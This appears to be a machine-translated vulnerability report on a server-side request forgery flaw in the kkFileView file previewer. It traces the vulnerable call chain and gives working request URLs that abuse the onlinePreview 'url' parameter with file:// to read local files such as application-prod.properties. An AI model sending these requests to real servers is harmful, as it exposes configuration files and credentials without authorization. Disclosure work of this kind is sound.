There exists Server-side request forgery (SSRF)

[haioudelibaiyi]

The system does not intercept any user

"Cn. Keking. Utils. DownloadUtils# downLoad" loophole using code

"Cn. Keking. Utils. SimTextUtil# readSimText" malicious code calls the existence "cn. Keking. Utils. DownloadUtils# downLoad" method

"Cn. Keking. Service. Impl. SimTextFilePreviewImpl# filePreviewHandle" invoked the "cn. Keking. Utils. DownloadUtils# downLoad" method, And return the result to the "txt" template file

“cn.keking.web.controller.OnlinePreviewController#onlinePreview” Call the "cn. Keking. Service. Impl. SimTextFilePreviewImpl# filePreviewHandle" method, through the "url" the incoming parameters, can use the file agreement read a file

Vulnerability exploitation:
http://127.0.0.1:8012/onlinePreview?url=file:///+"The path of the file you want to read"
http://127.0.0.1:8012/onlinePreview?url=file:///E:/aut/kkFileViewOfficeEdit-master/kkFileViewOfficeEdit-master/jodconverter-web/src/main/resources/application-prod.properties

http://127.0.0.1:8012/application-prod.txt Jump to the template file and output the content of the read file